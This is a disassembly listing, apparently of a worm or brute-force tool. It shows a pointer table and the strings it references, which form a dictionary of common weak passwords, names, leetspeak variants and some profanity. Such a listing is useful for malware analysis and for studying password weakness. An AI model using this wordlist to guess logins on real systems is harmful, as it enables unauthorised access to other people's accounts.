		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C80C
		dd 0
dword_4313B4	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:004313A8o
		align 4
aZap		db 'zap',0              ; DATA XREF: ___:004313A4o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:004313A0o
aXyz		db 'xyz',0              ; DATA XREF: ___:0043139Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:00431398o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:00431394o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: ___:00431390o
		align 10h
aTty		db 'tty',0              ; DATA XREF: ___:0043138Co
aTopography	db 'topography',0       ; DATA XREF: ___:00431388o
		align 10h
aTemptation	db 'temptation',0       ; DATA XREF: ___:00431384o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: ___:00431380o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:0043137Co
		align 4
aSys		db 'sys',0              ; DATA XREF: ___:00431378o
aSupported	db 'supported',0        ; DATA XREF: ___:00431374o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: ___:00431370o
		align 10h
aSuperstage	db 'superstage',0       ; DATA XREF: ___:0043136Co
		align 4
aSun		db 'sun',0              ; DATA XREF: ___:00431368o
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:00431364o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: ___:00431360o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:0043135Co
		align 4
aSignature	db 'signature',0        ; DATA XREF: ___:00431358o
		align 10h
aSheffield	db 'sheffield',0        ; DATA XREF: ___:00431354o
		align 4
aSal		db 'sal',0              ; DATA XREF: ___:00431350o
aRochester	db 'rochester',0        ; DATA XREF: ___:0043134Co
		align 4
aRje		db 'rje',0              ; DATA XREF: ___:00431348o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:00431344o
		align 10h
aPub		db 'pub',0              ; DATA XREF: ___:00431340o
aProfessor	db 'professor',0        ; DATA XREF: ___:0043133Co
		align 10h
aPrinceton	db 'princeton',0        ; DATA XREF: ___:00431338o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: ___:00431334o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:00431330o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:0043132Co
		align 10h
aPercolate	db 'percolate',0        ; DATA XREF: ___:00431328o
		align 4
aPam		db 'pam',0              ; DATA XREF: ___:00431324o
aPad		db 'pad',0              ; DATA XREF: ___:00431320o
aOceanography	db 'oceanography',0     ; DATA XREF: ___:0043131Co
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: ___:00431318o
		align 10h
aNew		db 'new',0              ; DATA XREF: ___:00431314o
aNet		db 'net',0              ; DATA XREF: ___:00431310o
aMit		db 'mit',0              ; DATA XREF: ___:0043130Co
aMgr		db 'mgr',0              ; DATA XREF: ___:00431308o
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:00431304o
		align 4
aLiz		db 'liz',0              ; DATA XREF: ___:00431300o
aLee		db 'lee',0              ; DATA XREF: ___:004312FCo
aLamination	db 'lamination',0       ; DATA XREF: ___:004312F8o
		align 10h
aKim		db 'kim',0              ; DATA XREF: ___:004312F4o
aJoy		db 'joy',0              ; DATA XREF: ___:004312ECo
aJen		db 'jen',0              ; DATA XREF: ___:004312E8o
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:004312E4o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:004312E0o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:004312DCo
aHappening	db 'happening',0        ; DATA XREF: ___:004312D8o
		align 4
aHal		db 'hal',0              ; DATA XREF: ___:004312D4o
aGnu		db 'gnu',0              ; DATA XREF: ___:004312D0o
aFun		db 'fun',0              ; DATA XREF: ___:004312CCo
aForesight	db 'foresight',0        ; DATA XREF: ___:004312C8o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:004312C4o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:004312C0o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: ___:004312BCo
		align 10h
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:004312B8o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:004312B4o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:004312B0o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:004312ACo
		align 10h
aDos		db 'dos',0              ; DATA XREF: ___:004312A8o
aDog		db 'dog',0              ; DATA XREF: ___:004312A4o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:004312A0o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: ___:0043129Co
		align 10h
aDeb		db 'deb',0              ; DATA XREF: ___:00431298o
aCornelius	db 'cornelius',0        ; DATA XREF: ___:00431294o
		align 10h
aCommrades	db 'commrades',0        ; DATA XREF: ___:00431290o
		align 4
aChristine	db 'christine',0        ; DATA XREF: ___:0043128Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:00431288o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: ___:00431284o
		align 10h
aCatherine	db 'catherine',0        ; DATA XREF: ___:00431280o
		align 4
aCat		db 'cat',0              ; DATA XREF: ___:0043127Co
aCampanile	db 'campanile',0        ; DATA XREF: ___:00431278o
		align 4
aCad		db 'cad',0              ; DATA XREF: ___:00431274o
aBsd		db 'bsd',0              ; DATA XREF: ___:00431270o
aBob		db 'bob',0              ; DATA XREF: ___:0043126Co
aBicameral	db 'bicameral',0        ; DATA XREF: ___:00431268o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:00431264o
		align 10h
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:00431260o
		align 4
aAsm		db 'asm',0              ; DATA XREF: ___:0043125Co
aAsd		db 'asd',0              ; DATA XREF: ___:00431258o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:00431254o
		align 4
aAnn		db 'ann',0              ; DATA XREF: ___:00431250o
aAndromache	db 'andromache',0       ; DATA XREF: ___:0043124Co
		align 4
aAmy		db 'amy',0              ; DATA XREF: ___:00431248o
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:00431244o
		align 4
aAma		db 'ama',0              ; DATA XREF: ___:00431240o
aAlf		db 'alf',0              ; DATA XREF: ___:0043123Co
aAlbatross	db 'albatross',0        ; DATA XREF: ___:00431238o
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:00431234o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:00431230o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:0043122Co
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:00431228o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: ___:00431224o
		align 4
aHax		db 'hax',0              ; DATA XREF: ___:00431220o
aWh0re		db 'wh0re',0            ; DATA XREF: ___:0043121Co
		align 10h
aHo		db 'ho',0               ; DATA XREF: ___:00431218o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:00431214o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:00431210o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:0043120Co
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:00431208o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:00431204o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:00431200o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:004311FCo
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: ___:004311F8o
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:004311F4o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:004311F0o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:004311ECo
		align 4
aMs		db 'MS',0               ; DATA XREF: ___:004311E8o
		align 4
aM		db 'M$',0               ; DATA XREF: ___:004311E4o
		align 4
aBilly		db 'billy',0            ; DATA XREF: ___:004311E0o
		align 4
aWindose	db 'windose',0          ; DATA XREF: ___:004311DCo
aWindoze	db 'windoze',0          ; DATA XREF: ___:004311D8o
aWindowz	db 'windowz',0          ; DATA XREF: ___:004311D4o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:004311D0o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:004311CCo
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: ___:004311C8o
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: ___:004311C4o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:004311C0o
		align 10h
aDudette	db 'dudette',0          ; DATA XREF: ___:004311BCo
aD00d		db 'd00d',0             ; DATA XREF: ___:004311B8o
		align 10h
aLol		db 'lol',0              ; DATA XREF: ___:004311B4o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:004311B0o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:004311ACo
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: ___:004311A8o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: ___:004311A4o
		align 4
aTestin		db 'testin',0           ; DATA XREF: ___:004311A0o
		align 4
aTester		db 'tester',0           ; DATA XREF: ___:0043119Co
		align 4
a00000000	db '00000000',0         ; DATA XREF: ___:00431198o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:00431194o
		align 10h
aZombie		db 'zombie',0           ; DATA XREF: ___:00431190o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:0043118Co
		align 10h
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:00431188o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: ___:00431184o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:00431180o
		align 10h
aZebra		db 'zebra',0            ; DATA XREF: ___:0043117Co
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:00431178o
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: ___:00431174o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: ___:00431170o
aYellowst	db 'yellowst',0         ; DATA XREF: ___:0043116Co
		align 10h
aYellow		db 'yellow',0           ; DATA XREF: ___:00431168o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:00431164o
		align 10h
aYang		db 'yang',0             ; DATA XREF: ___:00431160o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:0043115Co
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:00431158o
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:00431154o
		align 10h
aXmodem		db 'xmodem',0           ; DATA XREF: ___:00431150o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:0043114Co
		align 10h
aXman		db 'xman',0             ; DATA XREF: ___:00431148o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:00431144o
		align 10h
aXena		db 'xena',0             ; DATA XREF: ___:00431140o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:0043113Co
aWwii		db 'wwii',0             ; DATA XREF: ___:00431138o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:00431134o
		align 4
aWorm		db 'worm',0             ; DATA XREF: ___:00431130o
		align 4
aWork		db 'work',0             ; DATA XREF: ___:0043112Co
		align 4
aWorf		db 'worf',0             ; DATA XREF: ___:00431128o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: ___:00431124o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:00431120o
		align 10h
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:0043111Co
		align 4
aWood		db 'wood',0             ; DATA XREF: ___:00431118o
		align 4
aWomen		db 'women',0            ; DATA XREF: ___:00431114o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: ___:00431110o
		align 4
aWoman		db 'woman',0            ; DATA XREF: ___:0043110Co
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: ___:00431108o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:00431104o
		align 10h
aWizard		db 'wizard',0           ; DATA XREF: ___:00431100o
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:004310FCo
		align 10h
aWiseass	db 'wiseass',0          ; DATA XREF: ___:004310F8o
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:004310F4o
		align 4
aWired		db 'wired',0            ; DATA XREF: ___:004310F0o
		align 4
aWinston	db 'winston',0          ; DATA XREF: ___:004310ECo
aWing		db 'wing',0             ; DATA XREF: ___:004310E8o
		align 4
aWine		db 'wine',0             ; DATA XREF: ___:004310E4o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:004310E0o
aWilma		db 'wilma',0            ; DATA XREF: ___:004310DCo
		align 4
aWillie		db 'willie',0           ; DATA XREF: ___:004310D8o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: ___:004310D4o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:004310D0o
aWill		db 'will',0             ; DATA XREF: ___:004310CCo
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:004310C8o
		align 10h
aWholesal	db 'wholesal',0         ; DATA XREF: ___:004310C4o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: ___:004310C0o
aWhiting	db 'whiting',0          ; DATA XREF: ___:004310BCo
aWhite		db 'white',0            ; DATA XREF: ___:004310B8o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: ___:004310B4o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:004310B0o
aWhatever	db 'whatever',0         ; DATA XREF: ___:004310ACo
		align 10h
aWestern	db 'western',0          ; DATA XREF: ___:004310A8o
aWest		db 'west',0             ; DATA XREF: ___:004310A4o
		align 10h
aWerewolf	db 'werewolf',0         ; DATA XREF: ___:004310A0o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: ___:0043109Co
		align 4
aWendi		db 'wendi',0            ; DATA XREF: ___:00431098o
		align 4
